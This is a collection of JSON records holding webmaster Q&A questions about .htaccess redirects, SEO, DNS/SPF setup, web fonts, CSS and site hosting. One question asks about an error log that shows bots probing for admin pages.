{"id":"68075","title":"htaccess rewrite doesn't work","text":"I'm trying to redirect url's in my \/joomla\/ folder containing \"rsform\" to the same url but except for \/joomla\/ \/formulieren\/. However my tried .htaccess rewrite doesn't work. I tried: RewriteEngine on RewriteCond %{REQUEST_URI} rsform RewriteRule ^(.+)$ http:\/\/watervriendengeleen.nl\/joomla\/ [L,R=301] And other URL related rewrites like `Redirect \/joomla\/index.php?option=com_rsform&formId=12&Itemid=99999 http:\/\/sitename.com\/formulieren\/index.php?option=com_rsform&formId=12&Itemid=99999` which didn't work either. Any thoughts?"}
{"id":"47308","title":"Is is okay to use press kit images with attribution in my personal blog?","text":"First up, not sure if this question is correct at WebMasters kindly redirect if it's not. I have a personal (non-commercial) blog where I write about technology and programming etc. I was wondering if I could use Official presskit images for example image of Surface tablet from MS Presskit when I am writing about the Surface Pro? Secondly, if it's okay to use the image, should the images be re-hosted on my blog or hotlinked to image provided by Microsoft? In this particular case Microsoft's Terms of Use seems very generic (http:\/\/www.microsoft.com\/en- us\/legal\/intellectualproperty\/copyright\/default.aspx#EPC) I am not looking for a Legal opinion, more of best practices that webmasters\/bloggers follow."}
{"id":"48931","title":"Pretending a file is in subdirectory with .htaccess","text":"I have a web application, and it has a RESTful PHP backend that uses Zend framework (which does its own URL rewriting magic). The problem is, my backend's entry-page is `api.php` and the endpoints look like: api.php\/resource1 api.php\/resource2\/id All I want to do is remove the `.php` file extension so my URLs look a little cleaner. Is there any way of doing this without removing the file extension from the PHP file?"}
{"id":"27702","title":"2 domains 1 host package","text":"I have a windows web hosting package. I have 2 different domain names. Can i point my first domain to the the hosting package and then run BlogEngine.NET and then point the second domain to the hosting package running NopCommerce cart? www.domain1.co.uk (blog) www.domain2.co.uk (e-commerce cart) In IIS i would just create a new application within the site and create the bindings for domain2. But does this work for web hosting packages from 123-reg.co.uk"}
{"id":"27707","title":"How can I find out if my domain has been added to email blacklists?","text":"We do a lot of mass emailing of our contacts to promote events, send out newsletters, etc. Some people read and react, some people unsubscribe, but I fear that some might actually mark the email as spam. Is there any way to figure out whether my domain has been added to email blacklists or spam registries? Also, if I use a service like MailChimp to send the emails, how would this work? If one unscrupulous customer was using MailChimp for evil, wouldn't it affect all of their customers?"}
{"id":"48939","title":"Dating site review - Am I allowed to write site description with screenshot for each reviewed site?","text":"I want to publish a review of 100 dating websites. I didn't contact all site managers, some of them didn't reply. Am I allowed to publish description for each dating site and publish also a screenshot of their site? I hope anybody have any clue if this is legally allowed."}
{"id":"25279","title":"domain extension is matter for seo","text":"> **Possible Duplicate:** > Does server location or TLD affects SEO I would like to buy domain for my blog, while registering the blog i saw the price variations between domain extensions. Is domain extension is matter for seo. for example:- .com .org .in etc.. Advice me."}
{"id":"38592","title":"Is there a significant hit to a non .com TLDs exact match domain (EMD) names after Google's Panda update?","text":"> **Possible Duplicate:** > Does server location or TLD affects SEO In this article, there is a good overview of exact match domain names and how they affect SEO after Google's Panda update. The last graph shows the _Non-com EMD Influence_ , where it is suggested that a .com tld will perform better than a non-.com one. However, let's consider local search. In the US, .com's work great. However, let's say you're in Canada, and you have a .ca EMD, all with local, Canadian results. Would the expectation be that the .com equivalent still perform better? As a user I would expect the .ca results to be more relevant, and I'm wondering if anyone else has experience with this?"}
{"id":"67782","title":"What server location?","text":"I have four choices for my server location: * Kent, UK * Dallas, US * Los Angeles, US * Singapore, Asia I live in The Netherlands and I expect the most of my customers to probably do too. So what is the best server location? Thanks :)"}
{"id":"10025","title":"Ok to target product names in adwords?","text":"If I have widget company called \"Widget Designer\" and I have a direct competitor who has \"Widgitator Version 5\", am I allowed to target a campaign using the literal keywords \"Widgitator\"? Is this OK? Will they ever find out? Is it bad business? **Update** I can't really say what the words are, but this is a good example, if my product is called \"Chair-o-matic\" and it makes chairs, and a competitors is called \"Chair Maker 5\" can I target the keyword pair \"Chair Maker\"?"}
{"id":"25960","title":"Transferring blogspot blog to own domain blog hosted by blogger","text":"I currently have a blogspot.com blog and I'm thinking of transferring everything to a custom domain blog, but one which is hosted by Blogger. Will my old posts and images be automatically transferred to the new blog? thanks in advance"}
{"id":"15020","title":"Why doesn't autofocus=\"autofocus\" work in Mozilla Firefox?","text":"<INPUT TYPE=TEXT NAME=\"Gw\" MAXLENGTH=\"225\" size=\"42\" autofocus=\"autofocus\"> If I try this with Google Chrome it works. I just want to highlight a form without `<script>`. Why doesn't it work?"}
{"id":"6514","title":"Reviewing a website ","text":"I'm looking for a tool (free\/paid) like a program that help me in reviewing my website style and interface such as explain the content of the home page (footer, header ..... ) taking snapshots and write comment on them ... I know this can be done using (print screen) and the MS paint but I need a more professional tool to use."}
{"id":"25968","title":"Hide content from search engines (legitimate, not SEO related)","text":"I have a website which contains famous and original (made by users) quotes, poetries, and such. Recently many of our users start to complain because their name is searchable on Google since we have a very good indexing of the website (for every positive thing there is a negative side...) Now we want to offer to users a \"privacy\" mode in the website, while retaining indexing for most pages: their name won't be indexed but only visible to users, while their texts will be both visible and indexed. Follow me: this isn't a SEO related question, this is legitimate hiding. We don't want people to be searchable on search engines, but only their texts. Why we want texts to be searchable? Because many use our website as \"central repository\" of their texts, which are copied by others on Facebook without retaining the author name: people searching for \"anonymous\" content have to find their page on our website and see the author name there. Obviously the author profile would be completely blocked with meta tags, the only pages where this is relevant are those by topic, like this: http:\/\/www.pensieriparole.it\/aforismi\/politica\/pag1 and other \"general\" pages like those containing latest insertions: http:\/\/www.pensieriparole.it\/poesie\/ **What do you think is the best way to hide these names?** I heard recently Google is actually rendering some js, and using a `document.write` directly on the page is some sort of cloaking as far as I can tell. So i thought about an `iframe` with the author name as document fragment (`#Author+Name`) and a little js that does `document.write` there. This way I can block that `iframe` from being crawled with `robots.txt`, while allowing browsers to cache it, no matter which name it has to print, and ask for it only the first time."}
{"id":"29633","title":"Working with Host file in Windows XP?","text":"I just want to setup a local server on my pc. I have WAMP installed. Now, for test, I wrote www.google.com www.google.temp in **hosts** file, in location **C:\\WINDOWS\\system32\\drivers\\etc**. But, when I am loading www.google.temp, it's not loading anything. Actually, I want to make my folder C:\/wamp\/www\/test to load like, www.test.loc"}
{"id":"29637","title":"Adding site credit in footer of site as a <a> tag - bad practice for google penguin?","text":"When I'm making a clients site I always include a link `<p>site by <a href=\"example.com\" target=\"blank\" rel=\"no follow\"><strong>example<\/strong><\/a><\/p>` Is this bad practice from a SEO point of view, especially after the Google penguin update? Could this damage my clients site (the one hosting the link) and \/ or my site (the one that the link is pointing to). Does making the link no follow get around the fact Google might deem the link to be a site wide spam link?"}
{"id":"29635","title":"I'm going through shopping cart nightmares!","text":"Help Please! My situation is that I need a stand alone cart that has robust DB functions which will not only collect all data relative to the purchase, but then either allow me to export all of that information to QuickBooks or convey all data relative to the purchase to Paypal so that I can integrate those records with QuickBooks. Either will do! But it has to be a robust database! My bookkeeper is QuickBooks proficient and finally my accounting is in a beautiful and highly functional format. But my cart stinks! Every single sales record must be hand entered into QBs! Cool Cart, my present cart, not only cannot convey the information it collects to Paypal, but it can't integrate to QuickBooks either and the owner has no interest in doing anything to help or for that matter offer any tech support! Paypal's cart, my first cart, kept the inventory and sales records in a format that QuickBooks loves, but it is so incomplete when it comes to a company needing a robust cart capable of offering coupons, wholesale pricing for retailers, many other customer option shortcomings. I'm going down the tubes trying to research 100+ cars on line only to find out that they may have a DB but the DB won't either integrate with Paypal or Quick Books or it won't collect all of the sales data, down to the little details, eg. what item exactly did the customer buy, how much did that customer pay for that item, was a record of sales tax collected or the shipping costs recorded in the DB? I don't want or need the actual Credit card information! I just need complete data to integrate to my bookkeeping systems. Otherwise, I am relegated to huge time consuming data entry by hand! I just need a highly functioning cart not the hosting. Anyone have any ideas? Thanks."}
{"id":"29638","title":"How do I make a gradient overlay transparent?","text":"The site I'm working on has three layers (from the bottom): a tiled background image, a simple top-to-bottom gradient, and the actual content window on top. I am trying to change the opacity of the gradient itself so that it will give the background a faded appearance as well as some color. However, whenever I try to add opacity to the gradient div (opacity: 0.4;), for some reason it yanks the tiled-image background layer to the front (covering everything) and makes the \"background\" only slightly transparent. How do I get the gradient to become transparent without this happening?"}
{"id":"31109","title":"Buttons or text navigation in mobile website","text":"When building a mobile site, will using _JPG_ buttons for navigation penalize the SEO for the site? (Assuming I use proper keyword `alt` text for the buttons) Stylistically the site obviously looks better with some simple buttons, but does this decrease the juice I may gain from simple text links?"}
{"id":"59491","title":"Google Webmaster tools - painlessly change 300,000 urls","text":"I have a site with over 300,000 products. Many of these products have non- alphanumeric characters in their names. I have encoded these, rendering thousands of links that look like this: product\/SPARKLE+POWER+INTERNATIONAL\/FSP180-50NI%28V%29\/316925 note: this equates to: products\/[manufacturer]\/[model#]\/[site specific ID] However, Google webmaster tools thinks that the url should be reviewed like this: SPARKLE+POWER+INTERNATIONAL\/FSP180-50NI(V)\/316925 Which returns a 404 error To simplify things, I want to change all non-alphanumeric characters to '~'. My site navigation will still work, but I am afraid that I will lose a lot of search ranking and search page links because of the url changes. What is the best way to keep this from happening? Also, is their a way to make Google webmaster tools understand urlencoded URL elements (double encoding?)"}
{"id":"23498","title":"Mail using google apps rejected as SPAM, having trouble using SPF records","text":"The situation: * Domain name: fisharwe.com * Site hosted by eukhost.com * Domain name registrar: nearlyfreespeech.net * Mx Records point to google apps servers * created a TXT record at nearlyfreespeech with the following: * v=spf1 ip4:109.203.117.237 a:fisharwe.com include:aspmx.googlemail.com ~all * Mail is sent either through the gapps web interface, either through the site (which uses ASP) * Some mail still gets rejected as spam I manage my own apache server, so I am not a complete newbie, but I am having trouble understanding DNSes. Specifically, I am not sure I really understand the syntax of SPF. When I go to the intodns check, I get a few errors still. I don't really understand what to do. Google search yields a lot of resources, but most of them unclear, often contradicting each other. Is there any place that gives a comprehensive, cohesive view of how servers and DNS work? With a few receipes for most common use cases, that would be perfect. For the record, here are the errors I get at intoDns: * Domain NS records * Nameserver records returned by the parent servers are: * ns.phx3.nearlyfreespeech.net. ['208.94.116.65'] [TTL=172800] * ns.phx7.nearlyfreespeech.net. ['208.94.117.1'] [TTL=172800] * NS records from your nameservers * NS records got from your nameservers listed at the parent NS are: * ns.phx3.nearlyfreespeech.net ['208.94.116.65'] [TTL=3600] * ns.phx7.nearlyfreespeech.net ['208.94.117.1'] [TTL=3600] * Glue for NS records * INFO: GLUE was not sent when I asked your nameservers for your NS records.This is ok but you should know that in this case an extra A record lookup is required in order to get the IPs of your NS records. The nameservers without glue are: * 208.94.117.1 * 208.94.116.65 * You can fix this for example by adding A records to your nameservers for the zones listed above. * SOA MNAME entry * WARNING: SOA MNAME (ns.phx1.nearlyfreespeech.net) is not listed as a primary nameserver at your parent nameserver! * Warn SOA Serial Your SOA serial number is: 1323999125. This can be ok if you know what you are doing. * Warn SOA REFRESH WARNING: Your SOA REFRESH interval is: 600. That is not so ok * SOA EXPIRE * Your SOA EXPIRE number is: 86400. That is NOT OK * WWW A Record * Your www.fisharwe.com A record is: [109.203.117.236] [109.203.117.237] I know this question is unlikely to serve the community as it is very specific, but I don't know where to turn to, I've been on this for days now. Any pointer would be appreciated."}
{"id":"55481","title":"How to add your business website to Google Places with multiple addresses but less than 10","text":"1. I know how to add a business website to Google Places with one address. 2. I know how to add a business website to Google Places with more than 10 addresses. What I don't know how to do is add a business with more than one address but less than 10, so lets pretend this number is 3 addresses. Each of them with exact same website, exact same services but 3 serving locations. Logging into Google Places, I can see the business has been added and has one address attached. Google has somewhat changed Google Places in the past 6 months and I can't see an option to add another address, never mind 3 of them. The reason it's important to attach all valid addresses is that it's important for Local SEO. When searching on the Help, I'm informed with this information: > The bulk upload tool is recommended for users who want to manage more than > 10 locations. If you already have locations in Google Places for Business, > we recommend you delete them before using the bulk upload tool. Why? Changes > made to locations in the bulk upload tool will not be reflected in Google > Places for Business. Changes made to locations in Google Places for Business > will not be reflected in the bulk upload tool. Locations added using the > bulk upload tool can only be used in Google AdWords Location Extensions if > there are no locations in Google Places for Business. > > CHECKBOX [ ] I have 10 or more locations, and do not plan to use Google > AdWords Location Extensions. I've found no help information indicating how to add businesses with more than 1 address but less than 10. So how do you add more than 1 business website with multiple addresses to Google Places?"}
{"id":"23491","title":"Allintitle Operators - How do they work?","text":"I've been using the allintitle operators to determine keyword competition (in conjunction with using the Adwords Keyword Generator), my understanding is that when you do an allintitle search, the results will reflect all webpages that have \"all\" of those words in the title tag regardless of their order. When, however, I do a search for `allintitle:thai restaurants`, I get 744,000 results But when I reverse the order `allintitle:restaurants thai`, I get over 27 million results. What am I missing?"}
{"id":"42700","title":"Xampp and file paths","text":"I'm having hard time with xampp, it really getting me crazy. I have few installations of WordPress with Roots Template, which was loading without any css, js..etc. And the solution was to delete Boilerplate's default `.htaccess` and add: # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase \/ RewriteRule ^index\\.php$ - [L] RewriteRule ^assets\/css\/(.*) \/wp-content\/themes\/test_template\/assets\/css\/$1 [QSA,L] RewriteRule ^assets\/js\/(.*) \/wp-content\/themes\/test_template\/assets\/js\/$1 [QSA,L] RewriteRule ^assets\/img\/(.*) \/wp-content\/themes\/test_template\/assets\/img\/$1 [QSA,L] RewriteRule ^plugins\/(.*) \/wp-content\/plugins\/$1 [QSA,L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . \/index.php [L] <\/IfModule> # END WordPress Now I'm facing the same problem but with HTML5 Boilerplate and Twitter- bootstrap, standard html5 file with no complex code. I've tried using: dirname(__FILE__); And it still can't locate the files. Anybody had the same problem and found the solution? Thanks in advance."}
{"id":"23493","title":"Tahoma, Verdana, Trebuchet, Georgia, etc as webfonts?","text":"Does anyone know if the so called \"web safe fonts\" like Tahoma, Verdana, Trebuchet or Georgia are available as webfonts (that you can link to and safely use in your stylesheet) on a public CDN (content delivery network)? These fonts might be common but they aren't guaranteedly installed on every client computer so I think it would be nice to reliably have them everywhere. I haven't found them on Google's palette or with a search but I'm hoping that I just overlooked an obvious solution. Maybe Microsoft has a webfont CDN too only it is not quite well known yet?"}
{"id":"8457","title":"Pros and cons of the Google font API","text":"I am currently using a font from the google font directory on my website. I don't fully understand how it works, but it seems like when someone opens my site, their browser is told to go and fetch the font from Google. (correct me if I'm wrong). Now, what I'm wondering is, what are the pros and cons of this over just specifying a font family the old-school way? Presumably doing it the google font directory way has the advantage that they'll definitely see the font I want them to. (as long as the font directory is up). But does this way have disadvantages? Maybe using fonts that are stored locally speeds up the site loading?"}
{"id":"8454","title":"Why my site not linking with google.com?","text":"i am very tired about my website ranking in google. i am dong hard work about it but not getting anywhere my site in google. actually i am web master of a www.panbeli.in matrimony website INDIA. i am trying to improve its visibility in google last 5 month but not getting any positive result. but other search engine giving good result like yahoo and bing but google showing no any result in top 20 page result. my website is www.panbeli.in and my keyword are- bari samaj bari matrimony bari community bari shadi panbeli please help me if you can, b'coz i am very frustrated about it. my domain age is 4 years when i type link:panbeli.in in google search does not appear any pages from my site in google. whats the meaning is that?my site does not indexed in google?"}
{"id":"33947","title":"How do I get a list of all indexed links?","text":"I am looking for a way to take every link that I have indexed by Google and export them to a CSV file. Recently I have had way more pages indexed by Google then I actually have and I want to find where all these pages are coming from without having to view each search result page."}
{"id":"8459","title":"Should I use my domain registrar's nameserver or find an alternative?","text":"I've recently been moving my client's sites as well as my own and my friends to a cloud server instance I've set up. I don't have a nameserver setup on my instance because I'm not sure how to deploy and manage that side of things yet. I'm using the default nameservers where possible for the sites and just changing the A record DNS settings to point at the server. Some clients are complaining that the sites are running slower then before (since I changed nameservers back to the defaults). Some of the domain registrars are a nightmare to deal with and I can't convince some of my clients to leave them. Is there a sort of paid service I can use instead?"}
{"id":"39153","title":"Prevent crawler that doesn't honoring robots.txt","text":"I have some problem, when I try to write robots.txt for my site ... I find some issues by search on Google, and tell me about honor and not honoring `robots.txt`, how I can prevent it, can I perform it with `.htaccess` or other way ?"}
{"id":"64872","title":"How to redirect one domain to another (wildcard) without inheriting the back links?","text":"I want to redirect my old domain to a new one. Im running a blog and I need to use wildcard redirect so all the posts will be redirected accordingly. But I don't want to inherit the backlinks in those posts. I want a fresh site! How to do this?"}
{"id":"47665","title":"Google Webmaster Tools - I want to target by language, should I add location targeting?","text":"I have a multilingual site, which I would like to target by language. Google Webmaster Tools provides the option to add a subdomain per language subdomain which can be geotargeted. If I'm more interested in language based targeting, which as far as I know isn't supported, should I still select the geotargeting?"}
{"id":"35860","title":"Web app to take screen shot of website and annotate?","text":"Does anyone know of a website that will take a full screen shot of another website and let users write notes over it then send that annotated photo by email or private link? Basically looking for quicker way to write notes on a site other than taking a screen shot my self and putting it into photoshop. Just an update, I don't need any browser extensions which I already have and do the same. I'm looking for a website app which does this to give to a client."}
{"id":"50509","title":"Any concerns for registering a domain.me if domain.com is already taken?","text":"I'm interested in registering a domain, let's just call it `myna.me` but `myname.com` is already taken (but not in use). What might be the concerns of registering a `.me` if the .com version is already taken? This will be for a web app I'm working on which is in a niche market within web design. I'm sure I can market this using the `.me` TLD because it fits perfectly into the brand, and most of the marketing will be done directly within the web design community. So I'm not too worried about word of mouth confusing the TLD. Could this negatively impact anything for me, or should I worry about the `.com` owner suddenly trying to compete or steal traffic from me?"}
{"id":"56534","title":"Is there a way to stop a keyword from appearing in Google Webmaster Tools?","text":"I added a web site a while ago to Google's index and it contains lots of links with the text \"Permalink\" that, well, link to permalinks of different content\/pages. Now \"Permalink\" is the #1 keyword in Google Webmaster Tools. Is there a way to prevent this? ### EDIT: It is possible to do this by replacing <a href=\"url\">Permalink<\/a> With <a href=\"url\"><\/a> And then using CSS to render the text Permalink: a:after { content: 'Permalink'; } But I was basically interested to know if it is possible to hint Google Bot to consider the term \"Permalink\" as insignificant."}
{"id":"35687","title":"Site returning 404 header to Google, not sure why","text":"A Drupal site that works fine for regular users returns a 404 not found error when I try to use the W3C validator on it; it is also not being indexed by Google at all (which is the main issue but I suspect there is a connection). It is a https:\/\/ site with .htaccess rule to redirect any http:\/\/ request to the https:\/\/. I had had it running in Google webmaster tools and thought it was fine, but it turns out I had not added the HTTPS domain. After adding the HTTPS domain it's also returning the header as HTTP\/1.1 404 Not Found Date: Mon, 15 Oct 2012 19:37:43 GMT Server: Apache Expires: Sun, 19 Nov 1978 05:00:00 GMT Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Robots.txt just has User-agent: * Crawl-delay: 10 # Files Disallow: \/cron.php How can I check what the issue is here?"}
{"id":"7543","title":"Should layout be solely based on CSS?","text":"Is it a good sign if your website looks like a plaintext file with hyperlinks when the stylesheet is disabled?"}
{"id":"19348","title":"Customize Mediawiki's monobook.css with some skins","text":"I have installed MediaWiKi on Ubuntu server. I am trying to customize the wiki's appearance, so I tried different skins (fratman, GuMax, and mozillawiki) None of them satisfied me. I want a skin that looks like this link. It has smooth tabs and sidebar but does not lose the wiki specific appearance. Does anybody know if it's possible to customize the wiki to look like the one in the link?"}
{"id":"19618","title":"best way of updating website files quickly","text":"I was wondering if there is a better way of updating my website's content. Right now, I make it in a text editor, and then test it on the localhost. When I am happy with the code, I save the files and then copy them onto the file manager on my web host. An example is when I add an option in the 'settings' section for the user to upload a profile picture. The settings.php needs to be updated, and an add_picture.php needs to be added. Uploading these takes a long time. Is there a quick way of transferring added content and scripts from my computer onto the webhost? Maybe a CMS is right for my needs, but i'm not too sure what this is? (i run a LAMP server)"}
{"id":"51909","title":"Normalizing Website Usage to U.S. Standard","text":"My website is largely targeted to US business users. Not surprisingly, the number of visits during the weekdays is much larger than on Saturdays and Sundays. In addition, on holidays like July 4 or Christmas, the number of visitors drop dramatically. I also have a feeling that internet usage decreases slightly in summer months while people are on vacation\/outside. The result is that in Google Analytics (pic below), my daily visitors go up and down and appears relatively erratic. It's hard to determine if any increase or drop in visits is attributable to something on my site or is part of a trend across the US. Is there a way to normalize the number of visitors to my site against internet usage in general? Or are there tools other than Google Analytics that do this? If normalized, the chart below would look much flatter and if there was an increase, I would know it would be attributed to something on my site rather than to the internet in general. Visits to my site: "}
{"id":"16134","title":"How do I make or setup a mailing list?","text":"I know I could program it myself, but maybe there is a simple (that's the keyword) package. I like to add a box, snippet, form or page to my site for users to input their email address. Then I'd like it to automatically send email saying you have successfully subscribe. I'd want an unsubscribe link and I would be using SMTP on Google apps. I would like to send email with HTML, so I can have a simple sentence with a complex link such as this. I don't know if I'll get marked as spam if I try to send everyone an email at once. I'd like the software to manage it. Also, I'd like to get the emails in a simple format like CSV. Is there a simple app that does this? if not i can write a simple form which does a simple insert (or delete when unsubscribing) and write a 200-300 line app to send my emails out for me."}
{"id":"30855","title":"What is the right approach to use AdSense with responsive web design?","text":"Recently I was studying responsive design a lot and designed couple of sites. But I was wondering how would I use Google AdSense (which is pixel based) ads on my responsive design? Very typical example is suppose I have a `728x90` ads on header. Or if I do a mobile first approach I would need different versions of ad sizes for different view posts but Google doesn't allow more than three ad unit per page (as far as I know). So, Question: **What is the right approach\/best practice of using Google AdSense on a responsive site design?**"}
{"id":"16647","title":"ASP.NET Simple CMS","text":"I have an existing ASP.NET web site. The site has a \"news\" section and I'd like to add some very simple content management functionality to that an administrator can edit the news. I had thought of using DotNetNuke. * Is this a sensible option? * Any pointers for adding this simple functionality? * Should I look at another solution?"}
{"id":"4266","title":"How do I set up anonymous email forwarder using cPanel?","text":"Some companies demand your email address, then send you spam. I'm quite familiar with cPanel. How would I set up an anonymous email forwarder, so I can give them a valid email address, and kill that email address if the company turns into an evil spammer? Note that to be effective, it would have to filter out any email addresses listed in the body of the forwarded email (otherwise those email addresses will end up on their spam list too)."}
{"id":"12730","title":"Connecting to my website without SSH","text":"I have seen tutorials and read on how to connect to my website using the shell and basically getting a SSH access to it. But the problem is, SSH access is disabled for my account and I can't get it enabled (extra $). How do I connect to my website hosting server without SSH? I need to do this because I want to be able to install software on my server. So how do I do that without SSH?"}
{"id":"65190","title":"Error Log shows nosy visitors trying to access various admin pages","text":"After experiencing a very high amount of hits on my 404 page, I've started monitoring my website's Error Log. There I've found that through-out the day, there are several attempts at accessing admin folders and editors on my website that I does not exist. For instance, there are attempts at accessing Word Press and fckeditor's admin folders, but I don't have either. Any thoughts as to what I should do about these attempts, and if they should be a cause of worry or not? Examples from my Error Log: [Mon Jun 23 16:17:17 2014] [error] [client 120.37.236.236] File does not exist: \/home\/[snipped]\/public_html\/admin, referer: [snipped].com\/admin\/editors\/fckeditor\/editor\/filemanager\/upload\/test.html [Mon Jun 23 16:16:39 2014] [error] [client 178.158.214.36] File does not exist: \/home\/[snipped]\/public_html\/administrator [Mon Jun 23 16:16:39 2014] [error] [client 178.158.214.36] File does not exist: \/home\/[snipped]\/public_html\/wp-login.php [Mon Jun 23 10:39:13 2014] [error] [client 120.37.236.217] File does not exist: \/home\/[snipped]\/public_html\/admin [Mon Jun 23 08:31:49 2014] [error] [client 27.153.217.87] File does not exist: \/home\/[snipped]\/public_html\/fckeditor [Mon Jun 23 05:34:19 2014] [error] [client 115.29.14.241] File does not exist: \/home\/[snipped]\/public_html\/editor [Mon Jun 23 05:34:17 2014] [error] [client 115.29.14.241] File does not exist: \/home\/[snipped]\/public_html\/admin [Mon Jun 23 05:34:16 2014] [error] [client 115.29.14.241] File does not exist: \/home\/[snipped]\/public_html\/FCKeditor [Mon Jun 23 05:34:12 2014] [error] [client 115.29.14.241] File does not exist: \/home\/[snipped]\/public_html\/editor [Mon Jun 23 05:34:10 2014] [error] [client 115.29.14.241] File does not exist: \/home\/[snipped]\/public_html\/admin [Mon Jun 23 05:34:06 2014] [error] [client 115.29.14.241] File does not exist: \/home\/[snipped]\/public_html\/Fckeditor At last, does anyone know how where I can get more information about some of the errors reported in cPanel X's Error Log? For instance, I have lots of entries for > File does not exist: 405.shtml but I have no idea what page or link has generated them, so I don't know where to go to fix the source of the problem."}
{"id":"6164","title":"CSS equal height divs with padding","text":"I have been using this technique before to get equal column heights #page-wrap { overflow: hidden;} .page-left, .page-right{float: left; width: 435px; margin-bottom: -5000px; padding-bottom: 5000px; } .page-left { background: #454545; } .page-right { background: #383838; } <div id=\"page-wrap\"> <div class=\"page-left\"> Blahblah<br \/> Blahblah<br \/> Blahblah<br \/> <\/div> <div class=\"page-right\"> Blahblah <\/div> <div class=\"clearboth\"><\/div> <\/div> <!-- end wrap --> This works fine but now I need to put #page-wrap inside another DV with margin: 10px; it works fine in **normal** browsers, but not in IE... I have a Fiddle here: http:\/\/jsfiddle.net\/SyAeq\/ **EDIT:** Solved! Just adding a {float:left} to #page-wrap did the trick! Than a {clear:left} in a div underneath to clean it up"}
{"id":"12737","title":"What are the pros and cons of running of keeping your Tumblr at mycompany.tumblr.com vs. mycompany.com\/blog","text":"I'm thinking it makes sense to run your Tumblr from mycompany.com\/blog so the traffic is associated with your domain, but are there any reasons to leave it at mycompany.tumblr.com?"}
{"id":"43387","title":"Site restyling effecting Google ranking","text":"I have to restyle a website in Drupal, and the client has a clear request: the site cannot drop its position on Google. If I build a new Drupal site, with the same URLs, the same meta and title tags, would it still lose ranking? If I build my URLs like the old ones, does it still lose positions on Google? The old site is also built using Drupal. The final question is: what king of work I have to make sure the site does not lose its position in Google?"}
{"id":"60860","title":"Willl a major site redesign hurt my rank in Google?","text":"I have a website where I upload and sell T-shirts. I have about 50 or so designs up and they receive hits from Google. I'm wanting to create a new T-shirt site where anyone can upload T-shirts and sell them. The database will be completely different from the old one. The purpose of the site is changing considerably but it's all still about T-shirts. I wanted to use the same domain name and keep the old T-shirt database and start integrating the new T-shirt DB. I would like to be able to use the rank I have with this site already as a stepping stone for this newer different T-shirt site version. My question is... Will Google penalize me for changing the site too much? Or am I able to benefit from the rank and seniority my page has already for this different version of a T-shirt site. The domain will stay the same and the old T-shirts will stay on there (for now) but the theme of the site will change and more functionality will be added. Any input on this question would be appreciated."}
{"id":"64827","title":"Do news stories have any downside from SEO point of view?","text":"My client releases podcasts every monday and blogs about gaming news rest of the days. He wants his blog posts to appear in Google News (and other news sites). Is there any long term downside of your blog posts being news posts?"}
{"id":"53857","title":"possibilites on uploading a file without login in mediawiki","text":"In mediawiki, using api i can upload a file. its getting fine . But it will upload only logged in. i need to customize without login anybody can upload a file . I know without login cannot able to access api fuctionalities. Is there any possibilities to do without login ?"}
{"id":"10996","title":"What are the most efficient\/effective ways I can build a website for Mobile and Computer?","text":"I want to make a website for one thing, I don't want to make two websites for one thing I want to make one. You probably agree with that. The problem is, we're walking away from this massive 22\" screen and chair as we start to stare into the palms of our hands at these screens that can be up to 80% smaller. They try to hit the website again and -- bam, the thing sucks, fonts are all over the place, divs goof up, scripts don't run, things are too wide, I can't read the text, blah blah blah it's garbage. Standard solution? Make another website. Great, but that means I have to make another website. I don't want to do that, I want to make a website once. How do I do that?"}
{"id":"11004","title":"www.mydomain.com secure but not mydomain.com?","text":"> **Possible Duplicate:** > www.mydomain.com secure but not mydomain.com? Hi We've got our website running and https \/ ssl works just great. EXCEPT when users enter `http:\/\/www.mydomain.com` and then enter the secure area and get directed to `httpS:\/\/www.mydomain.com` it works fine. But when users enter just `http:\/\/mydomain.com` and then enter the secure are and get directed to `httpS:\/\/mydomain.com` they get a warning about the certificate being from a website called \"www.mydomain.com\" while they're trying to enter \"mydomain.com\" .... Does our SSL cert not cover both www.mydomain.com and mydomain.com? Are we suppose to buy TWO certs, on for each?? Surely not? Any help or pointers to the standard way of doing things like this would be great. We're using Apache HTTPD to forward requests to Tomcat webapps. Apache is taking care of all the SSL connections."}
{"id":"10990","title":"Google Maps: Multiple companies on one location","text":"I'm making some websites, and a few of those are for different companies at the same address (we offer different services under different names). Usually for a company's website I use the hCard format to get Google to show a map of the location when people search for the company. As far as I know this also makes the company name appear on the map itself. However, because several companies are running from the same building, we don't want to confuse our customers and just show the main company name on the map. Is it possible to somewhere set a preference as to which name to show on a map, but still have Google serve up maps as SERPs for each of the company names?"}
{"id":"60373","title":"Redirect blog archive into certain format","text":"I asked the question in WPSE before, but the answer I got so far is a complicated one. I'm actually looking for a `.htaccess` way. Here's what the scenario is: My blog archive URLs were like: http:\/\/example.com\/2014\/03 I changed my site's permalink from `\/%postname%\/` to `\/%postid%\/%postname%\/`, and using Redirection plugin, I set a redirection like:  and it's working. But the problem occurs in the archive URLs. The new archive URL generated with a \/date\/ basename before the dates, like: http:\/\/example.com\/date\/2014\/03 I'm trying to use the same Redirection plugin to redirect the URL, but failed:  I then tried writing `.htaccess` on my own (with no `.htaccess` writing experience) with: Redirect permanent http:\/\/example.com\/([0-9]+)\/([0-9]+) http:\/\/example.com\/date\/([0-9]+)\/([0-9]+) with the help of htaccess editor and this blog. But failed too. How can I let my blog not to get 404 on such archive URL? I'm afraid, I'm dumb with rewrite rule till now. :( ## UPDATE Here's how my `.htaccess` file just now: # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase \/ RewriteRule ^index\\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . \/index.php [L] <\/IfModule> # END WordPress And with Liam Sorsby's answer, I tried pasting the code RewriteEngine on RewriteRule ^([0-9]+)\/([0-9]+)$ \/date\/$1\/$2 [R=301,L] just below the `# END WordPress` once, and then tried again just before # END WordPress. But both time failed."}
{"id":"50874","title":"How Google counts the number of anchor texts and keywords in a Blogspot home page?","text":"Since Google consider the anchor text and keyword counts of a webpage for search ranking, I have one doubt regarding this; how Google counts the number of anchor texts and keywords in a Blogspot home page? In the case of website’s home page, it’s possible to count the anchor text and keywords from its index page but in the case of Blogspot, home page would contains all the published posts (not for all blogs and it based on the theme of the blog). In my blog, I have posted so many posts which contains many anchor links, when I searched the keyword density of my Blogspot (`www.example.blogspot.com`) its showing more count for some keywords. Does it is a spam and how Google handle this situation?"}
